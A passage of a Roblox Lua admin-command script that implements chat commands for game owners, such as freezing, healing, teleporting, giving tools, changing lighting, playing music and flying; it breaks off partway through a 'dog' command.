  1047. if v and v.Character then
  1048. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1049. end
  1050. end))
  1051. end
  1052. end
  1053.  
  1054. if msg:lower():sub(1,7) == "punish " then
  1055. local plrz = GetPlr(plr, msg:lower():sub(8))
  1056. for i, v in pairs(plrz) do
  1057. coroutine.resume(coroutine.create(function()
  1058. if v and v.Character then
  1059. v.Character.Parent = game:service("Lighting")
  1060. end
  1061. end))
  1062. end
  1063. end
  1064.  
  1065. if msg:lower():sub(1,9) == "unpunish " then
  1066. local plrz = GetPlr(plr, msg:lower():sub(10))
  1067. for i, v in pairs(plrz) do
  1068. coroutine.resume(coroutine.create(function()
  1069. if v and v.Character then
  1070. v.Character.Parent = game:service("Workspace")
  1071. v.Character:MakeJoints()
  1072. end
  1073. end))
  1074. end
  1075. end
  1076.  
  1077. if msg:lower():sub(1,7) == "freeze " then
  1078. local plrz = GetPlr(plr, msg:lower():sub(8))
  1079. for i, v in pairs(plrz) do
  1080. coroutine.resume(coroutine.create(function()
  1081. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1082. for a, obj in pairs(v.Character:children()) do
  1083. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1084. end
  1085. end
  1086. end))
  1087. end
  1088. end
  1089.  
  1090. if msg:lower():sub(1,5) == "thaw " then
  1091. local plrz = GetPlr(plr, msg:lower():sub(6))
  1092. for i, v in pairs(plrz) do
  1093. coroutine.resume(coroutine.create(function()
  1094. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1095. for a, obj in pairs(v.Character:children()) do
  1096. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1097. end
  1098. end
  1099. end))
  1100. end
  1101. end
  1102.  
  1103. if msg:lower():sub(1,5) == "heal " then
  1104. local plrz = GetPlr(plr, msg:lower():sub(6))
  1105. for i, v in pairs(plrz) do
  1106. coroutine.resume(coroutine.create(function()
  1107. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1108. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1109. end
  1110. end))
  1111. end
  1112. end
  1113.  
  1114. if msg:lower():sub(1,4) == "god " then
  1115. local plrz = GetPlr(plr, msg:lower():sub(5))
  1116. for i, v in pairs(plrz) do
  1117. coroutine.resume(coroutine.create(function()
  1118. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1119. v.Character.Humanoid.MaxHealth = math.huge
  1120. v.Character.Humanoid.Health = 9e9
  1121. end
  1122. end))
  1123. end
  1124. end
  1125.  
  1126. if msg:lower():sub(1,6) == "ungod " then
  1127. local plrz = GetPlr(plr, msg:lower():sub(7))
  1128. for i, v in pairs(plrz) do
  1129. coroutine.resume(coroutine.create(function()
  1130. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1131. v.Character.Humanoid.MaxHealth = 100
  1132. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1133. end
  1134. end))
  1135. end
  1136. end
  1137.  
  1138. if msg:lower():sub(1,8) == "ambient " then
  1139. local chk1 = msg:lower():sub(9):find(" ") + 8
  1140. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1141. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1142. end
  1143.  
  1144. if msg:lower():sub(1,11) == "brightness " then
  1145. game.Lighting.Brightness = msg:sub(12)
  1146. end
  1147.  
  1148. if msg:lower():sub(1,5) == "time " then
  1149. game.Lighting.TimeOfDay = msg:sub(6)
  1150. end
  1151.  
  1152. if msg:lower():sub(1,9) == "fogcolor " then
  1153. local chk1 = msg:lower():sub(10):find(" ") + 9
  1154. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1155. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1156. end
  1157.  
  1158. if msg:lower():sub(1,7) == "fogend " then
  1159. game.Lighting.FogEnd = msg:sub(8)
  1160. end
  1161.  
  1162. if msg:lower():sub(1,9) == "fogstart " then
  1163. game.Lighting.FogStart = msg:sub(10)
  1164. end
  1165.  
  1166. if msg:lower():sub(1,7) == "btools " then
  1167. local plrz = GetPlr(plr, msg:lower():sub(8))
  1168. for i, v in pairs(plrz) do
  1169. coroutine.resume(coroutine.create(function()
  1170. if v and v:findFirstChild("Backpack") then
  1171. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1172. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1173. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1174. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1175. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1176. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1177. local sb
  1178. local hs
  1179. local pdist
  1180.  
  1181. script.Parent.Selected:connect(function(mouse)
  1182. if not mouse then return end
  1183. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1184. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1185. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1186. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1187. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1188. end)
  1189.  
  1190. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1191. end
  1192. end))
  1193. end
  1194. end
  1195.  
  1196. if msg:lower():sub(1,12) == "startergive " then
  1197. local chk1 = msg:lower():sub(13):find(" ") + 12
  1198. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1199. for i, v in pairs(plrz) do
  1200. coroutine.resume(coroutine.create(function()
  1201. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1202. for a, tool in pairs(game.Lighting:children()) do
  1203. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1204. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1205. end
  1206. end
  1207. end
  1208. end))
  1209. end
  1210. end
  1211.  
  1212. if msg:lower():sub(1,5) == "give " then
  1213. local chk1 = msg:lower():sub(6):find(" ") + 5
  1214. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1215. for i, v in pairs(plrz) do
  1216. coroutine.resume(coroutine.create(function()
  1217. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1218. for a, tool in pairs(game.Lighting:children()) do
  1219. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1220. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1221. end
  1222. end
  1223. end
  1224. end))
  1225. end
  1226. end
  1227.  
  1228. if msg:lower():sub(1,12) == "removetools " then
  1229. local plrz = GetPlr(plr, msg:lower():sub(13))
  1230. for i, v in pairs(plrz) do
  1231. coroutine.resume(coroutine.create(function()
  1232. if v and v.Character and v:findFirstChild("Backpack") then
  1233. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1234. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1235. end
  1236. end))
  1237. end
  1238. end
  1239.  
  1240. if msg:lower():sub(1,5) == "rank " then
  1241. local chk1 = msg:lower():sub(6):find(" ") + 5
  1242. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1243. for i, v in pairs(plrz) do
  1244. coroutine.resume(coroutine.create(function()
  1245. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1246. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1247. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1248. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1249. end
  1250. end))
  1251. end
  1252. end
  1253.  
  1254. if msg:lower():sub(1,7) == "damage " then
  1255. local chk1 = msg:lower():sub(8):find(" ") + 7
  1256. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1257. for i, v in pairs(plrz) do
  1258. coroutine.resume(coroutine.create(function()
  1259. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1260. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1261. end
  1262. end))
  1263. end
  1264. end
  1265.  
  1266. if msg:lower():sub(1,5) == "grav " then
  1267. local plrz = GetPlr(plr, msg:lower():sub(6))
  1268. for i, v in pairs(plrz) do
  1269. coroutine.resume(coroutine.create(function()
  1270. if v and v.Character and v.Character:findFirstChild("Torso") then
  1271. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1272. end
  1273. end))
  1274. end
  1275. end
  1276.  
  1277. if msg:lower():sub(1,8) == "setgrav " then
  1278. local chk1 = msg:lower():sub(9):find(" ") + 8
  1279. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1280. for i, v in pairs(plrz) do
  1281. coroutine.resume(coroutine.create(function()
  1282. if v and v.Character and v.Character:findFirstChild("Torso") then
  1283. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1284. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1285. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1286. end
  1287. end))
  1288. end
  1289. end
  1290.  
  1291. if msg:lower():sub(1,7) == "nograv " then
  1292. local plrz = GetPlr(plr, msg:lower():sub(8))
  1293. for i, v in pairs(plrz) do
  1294. coroutine.resume(coroutine.create(function()
  1295. if v and v.Character and v.Character:findFirstChild("Torso") then
  1296. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1297. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1298. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1299. end
  1300. end))
  1301. end
  1302. end
  1303.  
  1304. if msg:lower():sub(1,7) == "health " then
  1305. local chk1 = msg:lower():sub(8):find(" ") + 7
  1306. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1307. for i, v in pairs(plrz) do
  1308. coroutine.resume(coroutine.create(function()
  1309. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1310. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1311. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1312. end
  1313. end))
  1314. end
  1315. end
  1316.  
  1317. if msg:lower():sub(1,6) == "speed " then
  1318. local chk1 = msg:lower():sub(7):find(" ") + 6
  1319. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1320. for i, v in pairs(plrz) do
  1321. coroutine.resume(coroutine.create(function()
  1322. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1323. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1324. end
  1325. end))
  1326. end
  1327. end
  1328.  
  1329. if msg:lower():sub(1,5) == "team " then
  1330. local chk1 = msg:lower():sub(6):find(" ") + 5
  1331. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1332. for i, v in pairs(plrz) do
  1333. coroutine.resume(coroutine.create(function()
  1334. if v and game:findFirstChild("Teams") then
  1335. for a, tm in pairs(game.Teams:children()) do
  1336. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1337. end
  1338. end
  1339. end))
  1340. end
  1341. end
  1342.  
  1343. if msg:lower():sub(1,6) == "place " then
  1344. local chk1 = msg:lower():sub(7):find(" ") + 6
  1345. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1346. for i, v in pairs(plrz) do
  1347. coroutine.resume(coroutine.create(function()
  1348. if v and v:findFirstChild("PlayerGui") then
  1349. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1350. end
  1351. end))
  1352. end
  1353. end
  1354.  
  1355. if msg:lower():sub(1,3) == "tp " then
  1356. local chk1 = msg:lower():sub(4):find(" ") + 3
  1357. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1358. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1359. for i, v in pairs(plrz) do
  1360. coroutine.resume(coroutine.create(function()
  1361. for i2, v2 in pairs(plrz2) do
  1362. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1363. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1364. end
  1365. end
  1366. end))
  1367. end
  1368. end
  1369.  
  1370. if msg:lower():sub(1,7) == "change " then
  1371. local chk1 = msg:lower():sub(8):find(" ") + 7
  1372. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1373. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1374. for i, v in pairs(plrz) do
  1375. coroutine.resume(coroutine.create(function()
  1376. if v and v:findFirstChild("leaderstats") then
  1377. for a, st in pairs(v.leaderstats:children()) do
  1378. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1379. end
  1380. end
  1381. end))
  1382. end
  1383. end
  1384.  
  1385. if msg:lower():sub(1,6) == "shirt " then
  1386. local chk1 = msg:lower():sub(7):find(" ") + 6
  1387. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1388. for i, v in pairs(plrz) do
  1389. coroutine.resume(coroutine.create(function()
  1390. if v and v.Character then
  1391. for i,v in pairs(v.Character:children()) do
  1392. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1393. end
  1394. end
  1395. end))
  1396. end
  1397. end
  1398.  
  1399. if msg:lower():sub(1,6) == "pants " then
  1400. local chk1 = msg:lower():sub(7):find(" ") + 6
  1401. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1402. for i, v in pairs(plrz) do
  1403. coroutine.resume(coroutine.create(function()
  1404. if v and v.Character then
  1405. for i,v in pairs(v.Character:children()) do
  1406. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1407. end
  1408. end
  1409. end))
  1410. end
  1411. end
  1412.  
  1413. if msg:lower():sub(1,5) == "face " then
  1414. local chk1 = msg:lower():sub(6):find(" ") + 5
  1415. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1416. for i, v in pairs(plrz) do
  1417. coroutine.resume(coroutine.create(function()
  1418. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1419. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1420. end
  1421. end))
  1422. end
  1423. end
  1424.  
  1425. ---------------------
  1426. -- FunCommands --
  1427. ---------------------
  1428. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1429.  
  1430. if msg:lower():sub(1,8) == "swagify " then
  1431. local plrz = GetPlr(plr, msg:lower():sub(9))
  1432. for i, v in pairs(plrz) do
  1433. coroutine.resume(coroutine.create(function()
  1434. if v and v.Character then
  1435. for i,v in pairs(v.Character:children()) do
  1436. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1437. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1438. end
  1439. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1440. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1441. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1442. local torso = plr.Character.Torso
  1443. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1444. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1445. p.Size = Vector3.new(.2,.2,.2)
  1446. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1447. local motor1 = Instance.new("Motor", p)
  1448. motor1.Part0 = p
  1449. motor1.Part1 = torso
  1450. motor1.MaxVelocity = .01
  1451. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1452. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1453. local wave = false
  1454. repeat wait(1/44)
  1455. local ang = 0.1
  1456. local oldmag = torso.Velocity.magnitude
  1457. local mv = .002
  1458. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1459. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1460. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1461. motor1.DesiredAngle = -ang
  1462. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1463. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1464. if torso.Velocity.magnitude < .1 then wait(.1) end
  1465. until not p or p.Parent ~= torso.Parent
  1466. script:Destroy()
  1467. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1468. end
  1469. end))
  1470. end
  1471. end
  1472.  
  1473. if msg:lower():sub(1,6) == "music " then
  1474. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1475. local id = msg:sub(7)
  1476. local pitch = 1
  1477. if tostring(id):lower():find("caramell") then id = 2303479 end
  1478. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1479. if tostring(id):find("rick") then id = 2027611 end
  1480. if tostring(id):find("halo") then id = 1034065 end
  1481. if tostring(id):find("pokemon") then id = 1372261 end
  1482. if tostring(id):find("cursed") then id = 1372257 end
  1483. if tostring(id):find("extreme") then id = 11420933 end
  1484. if tostring(id):find("awaken") then id = 27697277 end
  1485. if tostring(id):find("alone") then id = 27697392 end
  1486. if tostring(id):find("mario") then id = 1280470 end
  1487. if tostring(id):find("choir") then id = 1372258 end
  1488. if tostring(id):find("chrono") then id = 1280463 end
  1489. if tostring(id):find("dotr") then id = 11420922 end
  1490. if tostring(id):find("entertain") then id = 27697267 end
  1491. if tostring(id):find("fantasy") then id = 1280473 end
  1492. if tostring(id):find("final") then id = 1280414 end
  1493. if tostring(id):find("emblem") then id = 1372259 end
  1494. if tostring(id):find("flight") then id = 27697719 end
  1495. if tostring(id):find("banjo") then id = 27697298 end
  1496. if tostring(id):find("gothic") then id = 27697743 end
  1497. if tostring(id):find("hiphop") then id = 27697735 end
  1498. if tostring(id):find("intro") then id = 27697707 end
  1499. if tostring(id):find("mule") then id = 1077604 end
  1500. if tostring(id):find("film") then id = 27697713 end
  1501. if tostring(id):find("nezz") then id = 8610025 end
  1502. if tostring(id):find("angel") then id = 1372260 end
  1503. if tostring(id):find("resist") then id = 27697234 end
  1504. if tostring(id):find("schala") then id = 5985787 end
  1505. if tostring(id):find("organ") then id = 11231513 end
  1506. if tostring(id):find("tunnel") then id = 9650822 end
  1507. if tostring(id):find("spanish") then id = 5982975 end
  1508. if tostring(id):find("venom") then id = 1372262 end
  1509. if tostring(id):find("wind") then id = 1015394 end
  1510. if tostring(id):find("guitar") then id = 5986151 end
  1511. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1512. end
  1513.  
  1514. if msg:lower() == "stopmusic" then
  1515. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1516. end
  1517.  
  1518. if msg:lower() == "musiclist" then
  1519. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1520. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1521. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1522. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1523. end
  1524.  
  1525. if msg:lower():sub(1,4) == "fly " then
  1526. local plrz = GetPlr(plr, msg:lower():sub(5))
  1527. for i, v in pairs(plrz) do
  1528. coroutine.resume(coroutine.create(function()
  1529. if v and v:findFirstChild("PlayerGui") then
  1530. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1531. local mouse = game.Players.LocalPlayer:GetMouse()
  1532. repeat wait() until mouse
  1533. local plr = game.Players.LocalPlayer
  1534. local torso = plr.Character.Torso
  1535. local flying = true
  1536. local deb = true
  1537. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  1538. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1539. local maxspeed = 50
  1540. local speed = 0
  1541. function Fly()
  1542. local bg = Instance.new("BodyGyro", torso)
  1543. bg.P = 9e4
  1544. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  1545. bg.cframe = torso.CFrame
  1546. local bv = Instance.new("BodyVelocity", torso)
  1547. bv.velocity = Vector3.new(0,0.1,0)
  1548. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  1549. repeat wait()
  1550. plr.Character.Humanoid.PlatformStand = true
  1551. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  1552. speed = speed+.5+(speed/maxspeed)
  1553. if speed > maxspeed then
  1554. speed = maxspeed
  1555. end
  1556. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  1557. speed = speed-1
  1558. if speed < 0 then
  1559. speed = 0
  1560. end
  1561. end
  1562. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  1563. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1564. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  1565. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  1566. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1567. else
  1568. bv.velocity = Vector3.new(0,0.1,0)
  1569. end
  1570. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  1571. until not flying
  1572. ctrl = {f = 0, b = 0, l = 0, r = 0}
  1573. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1574. speed = 0
  1575. bg:Destroy()
  1576. bv:Destroy()
  1577. plr.Character.Humanoid.PlatformStand = false
  1578. end
  1579. mouse.KeyDown:connect(function(key)
  1580. if key:lower() == "e" then
  1581. if flying then flying = false
  1582. else
  1583. flying = true
  1584. Fly()
  1585. end
  1586. elseif key:lower() == "w" then
  1587. ctrl.f = 1
  1588. elseif key:lower() == "s" then
  1589. ctrl.b = -1
  1590. elseif key:lower() == "a" then
  1591. ctrl.l = -1
  1592. elseif key:lower() == "d" then
  1593. ctrl.r = 1
  1594. end
  1595. end)
  1596. mouse.KeyUp:connect(function(key)
  1597. if key:lower() == "w" then
  1598. ctrl.f = 0
  1599. elseif key:lower() == "s" then
  1600. ctrl.b = 0
  1601. elseif key:lower() == "a" then
  1602. ctrl.l = 0
  1603. elseif key:lower() == "d" then
  1604. ctrl.r = 0
  1605. end
  1606. end)
  1607. Fly()]]
  1608. cl.Parent = v.PlayerGui cl.Disabled = false
  1609. end
  1610. end))
  1611. end
  1612. end
  1613.  
  1614. if msg:lower():sub(1,6) == "unfly " then
  1615. local plrz = GetPlr(plr, msg:lower():sub(7))
  1616. for i, v in pairs(plrz) do
  1617. coroutine.resume(coroutine.create(function()
  1618. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1619. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1620. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1621. wait(.1) v.Character.Humanoid.PlatformStand = false
  1622. end
  1623. end))
  1624. end
  1625. end
  1626.  
  1627. if msg:lower() == "disco" then
  1628. for i, v in pairs(lobjs) do v:Destroy() end
  1629. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1630. game.Lighting.Ambient = color
  1631. game.Lighting.FogColor = color
  1632. until nil]]
  1633. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1634. end
  1635.  
  1636. if msg:lower() == "flash" then
  1637. for i, v in pairs(lobjs) do v:Destroy() end
  1638. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1639. game.Lighting.Ambient = Color3.new(1,1,1)
  1640. game.Lighting.FogColor = Color3.new(1,1,1)
  1641. game.Lighting.Brightness = 1
  1642. game.Lighting.TimeOfDay = 14
  1643. wait(.1)
  1644. game.Lighting.Ambient = Color3.new(0,0,0)
  1645. game.Lighting.FogColor = Color3.new(0,0,0)
  1646. game.Lighting.Brightness = 0
  1647. game.Lighting.TimeOfDay = 0
  1648. until nil]]
  1649. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1650. end
  1651.  
  1652. if msg:lower():sub(1,5) == "spin " then
  1653. local plrz = GetPlr(plr, msg:lower():sub(6))
  1654. for i, v in pairs(plrz) do
  1655. coroutine.resume(coroutine.create(function()
  1656. if v and v.Character and v.Character:findFirstChild("Torso") then
  1657. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1658. local torso = v.Character:findFirstChild("Torso")
  1659. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1660. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1661. until not bg or bg.Parent ~= torso
  1662. end
  1663. end))
  1664. end
  1665. end
  1666.  
  1667. if msg:lower():sub(1,7) == "unspin " then
  1668. local plrz = GetPlr(plr, msg:lower():sub(8))
  1669. for i, v in pairs(plrz) do
  1670. coroutine.resume(coroutine.create(function()
  1671. if v and v.Character and v.Character:findFirstChild("Torso") then
  1672. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1673. end
  1674. end))
  1675. end
  1676. end
  1677.  
  1678. if msg:lower():sub(1,4) == "dog " then
  1679. local plrz = GetPlr(plr, msg:lower():sub(5))
